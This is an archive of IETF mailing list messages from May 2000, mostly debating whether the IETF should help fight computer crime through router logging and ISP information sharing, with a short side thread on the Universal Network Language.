Date: Tue, 23 May 2000 01:36:46 -0500
To: Jacob Palme <jpalme@DSV.SU.SE>
From: Chet Uber <eidetic@mindspring.com>
Subject: Re: Should IETF do more to fight computer crime?
Cc: ietf@ietf.org, necert@NEbraskaCERT.org
In-Reply-To: <v04210106b54f89d2be52@[130.237.161.46]>
References: <0FUY002KBZ3DIG@cuimail.unige.ch>
 <0FUY002KBZ3DIG@cuimail.unige.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id CAA27794
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

At 03:09 AM 5/23/00 +0200, you wrote:
>At 18.28 +0200 0-05-22, Bertrand.Ibrahim@cui.unige.ch wrote:
> >I would hope that any software I use, that is able to put
> >my digital signature on some data, would ask me for my
> >pass-phrase every time my private key is used. I would
> >even hope that such software wouldn't be able to use my
> >private key without the pass-phrase, otherwise anybody
> >with access to my computer could easily forge my signature.
>
>It is not easy to design encryption software which cannot
>be corrupted by viruses. A virus could catch your passphrase,
>and then use it itself for nefarious purposes. That is why
>many people want to use smart cards. But I am not sure they
>are secure. A virus could catch the communication to and
>from your smart card. And developers of smart cards seem
>to want to put so much functionality in the card itself,
>that it becomes open to viruses in itself.


First, The idea of a standards committee working to "fight computer crime" 
is a pipe-dream. You might as well ask ..... The issue is building 
software/firmware/hardware that works and is as secure as possible. We all 
have heard the story about secure computing on a network, so we shall be 
spared the sophism. One could argue the theoretical flaws to almost any 
system -- and not do anything but waste bandwidth.

We are engineers and scientists working to solve technical problems 
securely. We are not lawyers to intermix Title 18 Sec. 1030 style codes in 
with our IP headers, they pay the "suits" do those things. We can have 
strong resolve that these problems mean that work from the groups on secure 
time stamping, strong encryption, AAA, etc. etc. make for a more "solid 
chain of custody" for a "reasonable prudent man."

In other words, doing those things that we are already chartered to do 
would make sense and new work to create secure mechanisms within the 
framework of the IETF-IESG-IAB should help to "fight computer crime." And 
all this without making changes to "fight computer crime."

Second, The issue of law in today's arena does not provide for a 
non-jurisdictional universe. I mean the Jupiter Bureau of Investigations 
(JBI) will deal with the Internet within the 10,000 km terrestrial boundary 
and within, no one on Earth will have jurisdiction here. Each country, each 
state, each county, and each city have different values and mores. The fact 
that people from around the world can be your virtual neighbors has 
generated a buzz word around eCommerce - The Death Of Distance. The problem 
is that while they virtually in proximity; they are really nine time zones 
away and are separated by several geographical jurisdictional boundaries 
(not to mention diplomatic boundaries).

Finally, I believe it was Steven's comment that it is very difficult to 
build a secure system that has selective levels of security; thus allowing 
law enforcement more easy access.

To me it is this simple --- Continue to support promising new IP versions 
(IPv6). Get IPsec to actually work with current IPv4 systems across all 
hardware and software boundaries. Revitalize the use of already existing 
secure protocols. Embrace the spread of IETF members from the security area 
into other areas of the IETF; or better yet. seek them out and ask them 
about possible concerns you have about your latest ID, RFC, thought et al.

WE ARE NOT a part of the United States Justice Department. We (for the most 
part) are not lawyers or judges or law enforcement personnel; and we sure 
as hell don't play them on TV. Stick with protocols, not attempts to be in 
the Justice Department.

Please understand that I am not against the United States Justice 
Department and the National Security Agency wanting the ability to obtain 
legal wiretap information. I am against becoming the jack-booted thugs of 
ambitious bureaucrats, not wanting to do their own dirty work. If they want 
this so bad, let them pass-the-laws, obtain the money, and expend the 
all-important-political-capital to make a pipe dream like this happen.

Protocols not Codification!!!!!!


Warmest Regards,

Chet Uber
Deputy Director of Operations
Incident Response Team Leader
NEbraskaCERT (c). 7660 Dodge, Omaha, NE 68114
vox 402-498-2673 fax 402-391-3906
chet.uber@necert.org       www.NEbraskaCERT.org
"Are you in a Security State of Mind?" © 1998-2000

"Quis custodiet ipsos custodes?"
"Who watches the watchmen?"   - Juvenal, Satires, VI, 347




From owner-ietf-outbound  Tue May 23 06:00:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA28969
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 06:00:02 -0400 (EDT)
Received: from typhoon.mail.pipex.net (typhoon.mail.pipex.net [158.43.128.27])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA28922
	for <ietf@ietf.org>; Tue, 23 May 2000 05:56:32 -0400 (EDT)
Received: (qmail 4475 invoked from network); 23 May 2000 09:56:32 -0000
Received: from usern035.uk.uudial.com (HELO GK-VAIO.Dial.pipex.com) (193.149.81.68)
  by smtp.dial.pipex.com with SMTP; 23 May 2000 09:56:32 -0000
Message-Id: <4.3.1.2.20000523091840.00a87220@pop.dial.pipex.com>
X-Sender: maiw03@pop.dial.pipex.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Tue, 23 May 2000 09:21:51 +0100
To: Jacob Palme <jpalme@DSV.SU.SE>
From: Graham Klyne <GK@Dial.pipex.com>
Subject: Re: Should IETF do more to fight computer crime?
Cc: IETF general mailing list <ietf@ietf.org>
In-Reply-To: <v04210104b54f87a63bb9@[130.237.161.46]>
References: <200005221917.PAA28570@astro.cs.utk.edu>
 <200005221917.PAA28570@astro.cs.utk.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 03:13 AM 5/23/00 +0200, Jacob Palme wrote:
>That would mean that every time you execute any program, you would
>have to get an analysis of its possible harmful effects and decide
>whether to accept it. [...]

Bruce Schneier's recent Crypto-gram (15 May) newsletter (see 
http://www.counterpane.com/) contains an essay making the point (among 
others) that computer systems security is precisely about risk management, 
which means, among other things, making decisions about acceptable levels 
of risk.

#g

------------
Graham Klyne
(GK@ACM.ORG)



From owner-ietf-outbound  Tue May 23 09:10:41 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA03121
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 09:10:02 -0400 (EDT)
Received: from mrelay.jrc.it (mrelay.jrc.it [139.191.1.65])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA02989
	for <ietf@ietf.org>; Tue, 23 May 2000 09:04:02 -0400 (EDT)
Received: from mboxes.jrc.it (mboxes.jrc.it [139.191.1.63])
	by mrelay.jrc.it (LMC5692) with ESMTP id PAA16393; Tue, 23 May 2000 15:03:02 +0200 (MET DST)
Received: from jrc.it (139.191.71.153) by mboxes.jrc.it; 23 May 2000 15:03:02 +0200
Sender: jpj@jrc.it
Message-ID: <392A81BA.B0D21B56@jrc.it>
Date: Tue, 23 May 2000 15:03:54 +0200
From: Jean-Paul Jeral <jean-paul.jeral@jrc.it>
Organization: EC-JRC Ispra
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Fred Baker <fred@cisco.com>
CC: Anders Feder <lists.anders@feder.dk>, ietf@ietf.org
Subject: Re: Universal Network Language
References: <4.3.1.2.20000421235346.0319bcd0@flipper.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hi,

Fred Baker wrote:
> 
> At 11:01 PM 4/20/00 +0200, Anders Feder wrote:
> >The translation system being developed for the United Nations, the Universal
> >Network Language (UNL), looks quite promising. Does the IETF have any plans
> >regarding this system?
> 
> not specifically. Care to make an argument that we should?

(1) 
http://www.unl.ias.unu.edu/publications/gm/breaking/bre/brk-02.htm
states that:

 `UNL represents sentences in the form of 
logical expressions, without ambiguity.
These expressions are not for humans to 
read, but for computers.'

(2)
http://www.unl.ias.unu.edu/publications/gm/unlsys/sys-03.htm
states that:
`it is proposed that the description format for 
UNL expression is considered as an extension of HTML convention.'

Hope this helps,

Jean-Paul Jeral
ISIS/RIT/WT
EC JRC Ispra.



From owner-ietf-outbound  Tue May 23 11:02:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA04568
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 11:00:02 -0400 (EDT)
Received: from mailer1.lut.ac.uk (mailer1.lut.ac.uk [158.125.1.202])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04440
	for <ietf@ietf.org>; Tue, 23 May 2000 10:53:04 -0400 (EDT)
Received: from jon (helo=localhost)
	by mailer1.lut.ac.uk with local-smtp (Exim 2.10 #1)
	id 12uG31-0000h3-00; Tue, 23 May 2000 15:52:43 +0100
Date: Tue, 23 May 2000 15:52:42 +0100 (BST)
From: Jon Knight <J.P.Knight@lboro.ac.uk>
X-Sender: jon@mailer1
To: Jean-Paul Jeral <jean-paul.jeral@jrc.it>
cc: Fred Baker <fred@cisco.com>, Anders Feder <lists.anders@feder.dk>,
        ietf@ietf.org
Subject: Re: Universal Network Language
In-Reply-To: <392A81BA.B0D21B56@jrc.it>
Message-ID: <Pine.SOL.3.96.1000523155148.23361A-100000@mailer1>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Lboro-Filtered: mailer1.lut.ac.uk, Tue, 23 May 2000 15:52:43 +0100
X-Loop: ietf@ietf.org

On Tue, 23 May 2000, Jean-Paul Jeral wrote:
> (1) 
> http://www.unl.ias.unu.edu/publications/gm/breaking/bre/brk-02.htm
> states that:
> 
>  `UNL represents sentences in the form of 
> logical expressions, without ambiguity.
> These expressions are not for humans to 
> read, but for computers.'

So is this a machine readable version of an Esperanto style human language
or something more like ANDF/UNCOL?

Tatty bye,

Jim'll



From owner-ietf-outbound  Tue May 23 11:40:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA05302
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 11:40:02 -0400 (EDT)
Received: from scriba.org (bob@scriba.org [208.178.122.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA05148
	for <ietf@ietf.org>; Tue, 23 May 2000 11:31:29 -0400 (EDT)
Received: from localhost (bob@localhost) by scriba.org (8.8.5/8.7.3) with ESMTP id LAA31240 for <ietf@ietf.org>; Tue, 23 May 2000 11:31:11 -0400
Date: Tue, 23 May 2000 11:31:11 -0400 (EDT)
From: Bob Allisat <bob@fcn.net>
X-Sender: bob@mansfield
To: ietf@ietf.org
Subject: IETF *is* computer crime.
Message-ID: <Pine.LNX.4.21.0005231110070.30390-100000@mansfield>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org


 The manner in which unsanctioned anti-democratic organizations
 control what amounts to the global communications network is a
 crime unto itself. Citizens utilizing this infra-structure posses
 no legal protections, no constitutional safeguards and no basic
 rights or liberties of any variety. We are subject to the chimeric
 whims of technocrats lost in the clouds of their stock options,
 fancy job titles and droll rotation of globe hopping symposiums
 and conferences. Left with no protections we are virtually
 helpless, hapless and hopeless.

 The concept of privacy and personal rights and freedoms on the
 net are fully nul and void. The whole convoluted mess rambles on
 generating profits for the lever-controllers and box managers
 and everything is fine and dandy. Except for the pervading fact
 that bloody security, mechanical network integrity and smooth
 technical functioning of the machinery do not supercede precious 
 inalienables and undeniables. Except for the truth that people
 and their intercourses are openly, randomly and completely subject
 to limitless interferances and interventions. 

 IETF, ISOC, ICANN, ITU and whatever other unsanctioned, informal
 acretion of pseudo-authority should arise are no places to look
 for solutions. They embody the problem. They ARE the proble. To
 search elsewhere is our only alternative. Tou route around, to
 undermine, to quietly innovate clever detours and innovations.
 Because the moment the unchanging cast of central authorites
 are deposed is the moment a solution becomes workable. Look no
 further than your own self, your own capabilities and capacities.
 Anyone who seeks freedom or solace from those who benifit the most
 from our control and the maintenance of their influence can only
 impede evolution. 

 Alive and very much well, all my opinions only, a very insignificant
 observer among the masses of the great unplugged, I remain,

 Bob Allisat



From owner-ietf-outbound  Tue May 23 13:50:45 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA07041
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 13:50:02 -0400 (EDT)
Received: from shell5.ba.best.com (gds@shell5.ba.best.com [206.184.139.136])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA07004
	for <ietf@ietf.org>; Tue, 23 May 2000 13:41:23 -0400 (EDT)
Received: (from gds@localhost)
	by shell5.ba.best.com (8.9.3/8.9.2/best.sh) id KAA13052;
	Tue, 23 May 2000 10:41:18 -0700 (PDT)
Date: Tue, 23 May 2000 10:41:18 -0700 (PDT)
From: Greg Skinner <gds@best.com>
Message-Id: <200005231741.KAA13052@shell5.ba.best.com>
To: IETF general mailing list <ietf@ietf.org>
Subject: Re: Should IETF do more to fight computer crime?
X-Loop: ietf@ietf.org

Jacob Palme <jpalme@DSV.SU.SE> wrote:

> But would not better logg production in routers be an aid
> in finding the villain behind computer crimes?

What type of logging do you propose?  It seems that the types of logging
that are already done enable people to trace the origins of suspicious
traffic.

--gregbo



From owner-ietf-outbound  Tue May 23 14:30:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA07603
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 14:30:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA07564
	for <ietf@ietf.org>; Tue, 23 May 2000 14:28:41 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id LAA02219
	for <ietf@ietf.org>; Tue, 23 May 2000 11:28:10 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <L2AKMW2W>; Tue, 23 May 2000 18:20:49 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D204@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: IETF general mailing list <ietf@ietf.org>
Subject: RE: Should IETF do more to fight computer crime?
Date: Tue, 23 May 2000 18:27:41 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org


>Jacob Palme <jpalme@DSV.SU.SE> wrote:
>
>> But would not better logg production in routers be an aid
>> in finding the villain behind computer crimes?
>
>What type of logging do you propose?  It seems that the types 
>of logging
>that are already done enable people to trace the origins of suspicious
>traffic.
>
>--gregbo

True, but only the origin of packets are determined. What is needed is
a code of ethics between ISPs , to share information.
i.e once a packet leaves isp1 cloud and travels across isp2 cloud,
very rarely would isp1 be willing to disclose to isp2,...
which (user) is leased that specific dynamic ip address.

btw, this info would be required on the fly... so that net admin/sec
would be in a better position to pinpoint the perpetrator's habits/ 
physiological profile etc..

/pd



From owner-ietf-outbound  Tue May 23 15:20:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA08346
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 15:20:02 -0400 (EDT)
Received: from moby.jaws.umn.edu (root@moby.jaws.umn.edu [134.84.132.41])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA08283
	for <ietf@ietf.org>; Tue, 23 May 2000 15:15:31 -0400 (EDT)
Received: from phish.micro.umn.edu (phish.micro.umn.edu [134.84.134.52])
	by moby.jaws.umn.edu (8.9.3/8.9.3) with ESMTP id OAA14818;
	Tue, 23 May 2000 14:15:29 -0500 (CDT)
Received: (from iacovou@localhost)
	by phish.micro.umn.edu (8.9.3/8.9.3) id OAA11219;
	Tue, 23 May 2000 14:12:45 -0500 (CDT)
From: Danny Iacovou <iacovou@software.umn.edu>
Message-Id: <200005231912.OAA11219@phish.micro.umn.edu>
Subject: Re: IETF *is* computer crime.
To: bob@fcn.net (Bob Allisat)
Date: Tue, 23 May 2000 14:12:44 -0500 (CDT)
Cc: ietf@ietf.org
In-Reply-To: <Pine.LNX.4.21.0005231110070.30390-100000@mansfield> from "Bob Allisat" at May 23, 2000 11:31:11 AM
X-Favorite-Rooster: Foghorn Leghorn
X-Mailer: ELM [version 2.5 PL3]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


 Hello Bob,

 I think you are being too harsh on the IETF, ISOC, ICANN, ITU, and
 "whatever other unsanctioned, informal acretion of pseudo-authorities
 should arise".

 As an example, a group of people decided to coordinate efforts in order
 to communicate with each other. They agreed on a format for the 
 correspondance, and they agreed on a delivery protocol. Before you know 
 it, email is born. Such efforts are a good thing. By agreeing with each 
 other on the mechanics of such a transaction we've enabled the transaction
 to occur (aside from actual implementation).

 What wasn't agreed on? Well, one thing not agreed on is what to do if
 correspondance is sent 'anonymously', containing material that may be of
 interest to some authority of law, in some country (not even connected to
 the 'Net at the time email is "standardized"). 

 And of course this is but one possible scenerio not accounted for by
 the standard describing format and delivery of one particular type
 of electronic correspondance. But the standard never tried to address
 any issues it didn't address - it is complete in what it is. That isn't
 anyone's fault, is it? technologists are technologists, not students of
 international law. 

 The goal of the IETF is to get us from point A to point B. It isn't to
 get us from point A to point B with no shit (for lack of a better word)
 in our way.


--------------------------------------------------------------------------------
Neophytos Iacovou                                    University of Minnesota
Academic & Distributed Computing Services            100 Union St. SE
email: iacovou@boombox.micro.umn.edu                 Minneapolis, MN 55455 USA



From owner-ietf-outbound  Tue May 23 16:20:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA09077
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 16:20:01 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA09004
	for <ietf@ietf.org>; Tue, 23 May 2000 16:13:34 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id OAA10688
	for ietf@ietf.org  env-from <vjs>;
	Tue, 23 May 2000 14:13:34 -0600 (MDT)
Date: Tue, 23 May 2000 14:13:34 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200005232013.OAA10688@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: RE: Should IETF do more to fight computer crime?
X-Loop: ietf@ietf.org

> From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>

> >Jacob Palme <jpalme@DSV.SU.SE> wrote:
> >
> >> But would not better logg production in routers be an aid
> >> in finding the villain behind computer crimes?
> >
> >What type of logging do you propose?  It seems that the types 
> >of logging
> >that are already done enable people to trace the origins of suspicious
> >traffic.
> >
> >--gregbo

> True, but only the origin of packets are determined. What is needed is
> a code of ethics between ISPs , to share information.
> i.e once a packet leaves isp1 cloud and travels across isp2 cloud,
> very rarely would isp1 be willing to disclose to isp2,...
> which (user) is leased that specific dynamic ip address.
>
> btw, this info would be required on the fly... so that net admin/sec
> would be in a better position to pinpoint the perpetrator's habits/ 
> physiological profile etc..


Let's actually think for a moment about serious logging or sharing
information about Internet traffic.  State of the art large routers
move Tbits/sec.  If the average packet size is 500 bytes, you're
talking about logging or sharing information about 100 Mpackets/second.
If you only log or share the source and destination IPv4 addresses,
TCP or UDP port numbers, in incoming interface, a timestamp, and 1 or
2 bits saying the packet was not unusual (e.g. no TCP options other
than window scaling or SAK and no IP options), you're talking about
logging or sharing more than 20 bytes/packet or a few GBytes/second/big
router.  There are 86,400 seconds/day, so you're talking about logging
or sharing about 100 TBytes/day per large router.

Typical IP paths seem to be at least 10 hops long these days, and
often 20 or 30.  Most of those routers are not going to be Tbit/sec
backbone routers, but more than one will be, and the rest can be
counted or aggregated as if they were.  Thus, you're talking about
logging or sharing several 1000 TBytes/day.

Perhaps it would not be a problem to burn 1,000,000 GByte CDROM, tapes,
or other media per day, but what would you be able to do with those logs?
Searching a 1000 TByte database on the fly, especially if it is merely
a primitive sequential log, would be a serious challenge.

Yes, not many Tbit routers have been deployed, but they will be, and I
think the average packet size is less than 500, which increases the amount
of logging.  Yes, you might not need to keep those 1000's of TBytes for
more than a few days, but you still need a way to do something with them.

To put it another way, the complaints from the large ISP's that they cannot
police Internet traffic to shield their customers from pornography, talk
about World War II political parties, and the other things that various
pressure groups and governments dislike have some technical reality.

Technical reality always trumps political blather everywhere that matters.


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Tue May 23 16:50:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA09463
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 16:50:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA09397
	for <ietf@ietf.org>; Tue, 23 May 2000 16:46:09 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id NAA27290
	for <ietf@ietf.org>; Tue, 23 May 2000 13:45:39 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <L2AKMZ86>; Tue, 23 May 2000 20:38:18 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D208@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: ietf@ietf.org
Subject: RE: Should IETF do more to fight computer crime?
Date: Tue, 23 May 2000 20:45:09 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org


>-----Original Message-----
>From: Vernon Schryver [mailto:vjs@calcite.rhyolite.com]
>Sent: Tuesday, May 23, 2000 4:14 PM
>To: ietf@ietf.org
>Subject: RE: Should IETF do more to fight computer crime?
>
>
>> From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
>
>> >Jacob Palme <jpalme@DSV.SU.SE> wrote:
>> >
>> >> But would not better logg production in routers be an aid
>> >> in finding the villain behind computer crimes?
>> >
>> >What type of logging do you propose?  It seems that the types 
>> >of logging
>> >that are already done enable people to trace the origins of 
>suspicious
>> >traffic.
>> >
>> >--gregbo
>
>> True, but only the origin of packets are determined. What is 
>needed is
>> a code of ethics between ISPs , to share information.
>> i.e once a packet leaves isp1 cloud and travels across isp2 cloud,
>> very rarely would isp1 be willing to disclose to isp2,...
>> which (user) is leased that specific dynamic ip address.
>>
>> btw, this info would be required on the fly... so that net admin/sec
>> would be in a better position to pinpoint the perpetrator's habits/ 
>> physiological profile etc..
>
>
>Let's actually think for a moment about serious logging or sharing
>information about Internet traffic.  State of the art large routers
>move Tbits/sec.  If the average packet size is 500 bytes, you're
>talking about logging or sharing information about 100 Mpackets/second.
>If you only log or share the source and destination IPv4 addresses,
>TCP or UDP port numbers, in incoming interface, a timestamp, and 1 or
>2 bits saying the packet was not unusual (e.g. no TCP options other
>than window scaling or SAK and no IP options), you're talking about
>logging or sharing more than 20 bytes/packet or a few GBytes/second/big
>router.  There are 86,400 seconds/day, so you're talking about logging
>or sharing about 100 TBytes/day per large router.
>
>Typical IP paths seem to be at least 10 hops long these days, and
>often 20 or 30.  Most of those routers are not going to be Tbit/sec
>backbone routers, but more than one will be, and the rest can be
>counted or aggregated as if they were.  Thus, you're talking about
>logging or sharing several 1000 TBytes/day.
>
>Perhaps it would not be a problem to burn 1,000,000 GByte CDROM, tapes,
>or other media per day, but what would you be able to do with 
>those logs?
>Searching a 1000 TByte database on the fly, especially if it is merely
>a primitive sequential log, would be a serious challenge.
>
>Yes, not many Tbit routers have been deployed, but they will be, and I
>think the average packet size is less than 500, which 
>increases the amount
>of logging.  Yes, you might not need to keep those 1000's of TBytes for
>more than a few days, but you still need a way to do something 
>with them.
>
>To put it another way, the complaints from the large ISP's 
>that they cannot
>police Internet traffic to shield their customers from 
>pornography, talk
>about World War II political parties, and the other things that various
>pressure groups and governments dislike have some technical reality.

I agree on the technical reality of tbyte storage/tcpdump etc...

>
>Technical reality always trumps political blather everywhere 
>that matters.
>

Yes, but if I were  behind a DMZ and my IDS triggers... and if I got a
source address .. my question is...
 would 'THe ISP' provide any type of information to  negate the threat ? is
this a political problem?? , beyond technical reality or just plain
non-compliance to 'Collabration' ???


/pd



From owner-ietf-outbound  Tue May 23 17:20:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA09830
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 17:20:03 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09723
	for <ietf@ietf.org>; Tue, 23 May 2000 17:10:20 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e4NLAJn28210;
	Tue, 23 May 2000 17:10:19 -0400
Message-Id: <200005232110.e4NLAJn28210@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.1 10/15/1999
To: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
cc: IETF general mailing list <ietf@ietf.org>
Subject: Re: Should IETF do more to fight computer crime? 
In-reply-to: Your message of "Tue, 23 May 2000 18:27:41 -0000."
             <C7091526C06AD211A7450004AC384A350C35D204@mwabs035.emeryworld.com> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <C7091526C06AD211A7450004AC384A350C35D204@mwabs035.emeryworld.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 23 May 2000 17:10:18 -0400
X-Loop: ietf@ietf.org

On Tue, 23 May 2000 18:27:41 -0000, "Dawson, Peter D" <Dawson.Peter@emeryworld.com>  said:
> True, but only the origin of packets are determined. What is needed is
> a code of ethics between ISPs , to share information.
> i.e once a packet leaves isp1 cloud and travels across isp2 cloud,
> very rarely would isp1 be willing to disclose to isp2,...
> which (user) is leased that specific dynamic ip address.

Note that many providers may be legally bound to not give any more
information than "Yeah, that's one of our IP addresses".  I know we
have a lot of issues regarding privacy laws due to the fact that we're
an agency of the Commonwealth of Virginia.  If we find that one of our
students has been naughty, about all we can say to people outside is
that we're aware of it and that action is being taken as per our procedures.
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech




From owner-ietf-outbound  Tue May 23 17:30:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA09992
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 17:30:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09909
	for <ietf@ietf.org>; Tue, 23 May 2000 17:23:10 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id OAA03657
	for <ietf@ietf.org>; Tue, 23 May 2000 14:22:41 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <L2AKM5ZP>; Tue, 23 May 2000 21:15:20 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D209@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: IETF general mailing list <ietf@ietf.org>
Subject: RE: Should IETF do more to fight computer crime? 
Date: Tue, 23 May 2000 21:22:11 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org


>On Tue, 23 May 2000 18:27:41 -0000, "Dawson, Peter D" 
><Dawson.Peter@emeryworld.com>  said:
>> True, but only the origin of packets are determined. What is 
>needed is
>> a code of ethics between ISPs , to share information.
>> i.e once a packet leaves isp1 cloud and travels across isp2 cloud,
>> very rarely would isp1 be willing to disclose to isp2,...
>> which (user) is leased that specific dynamic ip address.
>
>Note that many providers may be legally bound to not give any more
>information than "Yeah, that's one of our IP addresses".  I know we
>have a lot of issues regarding privacy laws due to the fact that we're
>an agency of the Commonwealth of Virginia.  If we find that one of our
>students has been naughty, about all we can say to people outside is
>that we're aware of it and that action is being taken as per 
>our procedures.
>-- 

lets say a non-student was naughty and was attacking the vt.edu network...
would you feel satisfied with the answer.. "we're aware of it and that 
action is being taken as per our procedures".... knowing fully well that
the outage costs is running into a couple of millions on a single site ??
/pd



From owner-ietf-outbound  Tue May 23 18:10:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA10458
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 18:10:02 -0400 (EDT)
Received: from zmamail03.zma.compaq.com (zmamail03.zma.compaq.com [161.114.64.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10397
	for <ietf@ietf.org>; Tue, 23 May 2000 18:01:13 -0400 (EDT)
Received: by zmamail03.zma.compaq.com (Postfix, from userid 12345)
	id 12F22586; Tue, 23 May 2000 18:00:45 -0400 (EDT)
Received: from exchou-gh01.cca.cpqcorp.net (exchou-gh01.cca.cpqcorp.net [16.110.248.201])
	by zmamail03.zma.compaq.com (Postfix) with ESMTP id D2ED24B8
	for <ietf@ietf.org>; Tue, 23 May 2000 18:00:44 -0400 (EDT)
Received: by exchou-gh01.cca.cpqcorp.net with Internet Mail Service (5.5.2650.21)
	id <LNZV8FCJ>; Tue, 23 May 2000 17:00:44 -0500
